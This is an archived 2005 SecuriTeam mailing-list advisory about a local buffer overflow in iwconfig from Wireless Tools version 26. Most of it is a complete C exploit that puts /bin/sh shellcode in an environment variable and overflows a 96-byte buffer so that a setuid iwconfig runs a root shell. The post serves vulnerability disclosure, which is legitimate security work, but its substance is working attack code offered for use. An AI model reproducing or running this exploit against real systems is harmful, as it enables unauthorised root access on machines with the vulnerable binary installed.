

[EXPL] Wireless Tools Local Buffer Overflow (Iwconfig, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0064.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/15/05

To: list@securiteam.com

Date: 15 Sep 2005 11:56:31 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Wireless Tools Local Buffer Overflow (Iwconfig, Exploit)

SUMMARY

"The <http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html> Wireless Tools (WT) is a set of tools allowing to manipulate the Wireless Extensions."

A vulnerability in one of the Wireless Tools, iwconfig, allows local attackers to overflow an internal buffer in the product and cause it to execute arbitrary code.

DETAILS

Vulnerable Systems:

* Wireless Tools version 26

Exploit:

```
// (if the iwconfig executable is setuid) /str0ke
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <unistd.h>
```

Securiteam: [EXPL] Wireless Tools Local Buffer Overflow (Iwconfig, Exploit)

```
#include <stdlib.h>

/* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 */
char shellcode[]=
    "\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
    "\x73\x68\x68\x2f\x62\x69\x6e\x89"
    "\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
    "\x0b\x51\x52\x55\x89\xe5\x0f\x34"
    "\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
    "\x55\x89\xe5\x0f\x34";

int main(int argc,char **argv){
    char buf[96];
    long esp, *addr_ptr;
    unsigned long ret;
    int i, offset;
    unsigned long sp(void)
    { __asm__("movl %esp, %eax");}
    char *prog[]={argv[1],buf,NULL};
    char *env[]={ "3v1lsh3ll0=",shellcode,NULL};

    if (argc >= 2) {
        printf("\n*****\n");
        printf(" iwconfig Version 26 Localroot Exploit \n");
        printf(" Coded by Qnix[at]bsdmail[dot]org \n");
        printf("*****\n\n");
    } else {
        printf("\n*****\n");
        printf(" iwconfig Version 26 Localroot Exploit \n");
        printf(" Coded by Qnix[at]bsdmail[dot]org \n");
        printf("*****\n\n");
        printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g  
/sbin/iwconfig or /usr/sbin/iwconfig>\n\n");
        return 1;
    }

    offset = 0;
    esp = sp();
    ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
    printf("[~] S-p.ESP : 0x%x\n", esp);
    printf("[~] O-F.ESP : 0x%x\n", offset);
    printf("[~] Return Addr : 0x%x\n\n", ret);

    memset(buf,0x41,sizeof(buf));
    memcpy(&buf[92],&ret,4);

    execve(prog[0],prog,env);

}

/* EOF */
```

Securiteam: [EXPL] Wireless Tools Local Buffer Overflow (lwconfig, Exploit)

ADDITIONAL INFORMATION

The information has been provided by <mailto:qnix@bsdmail.org> Qnix.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.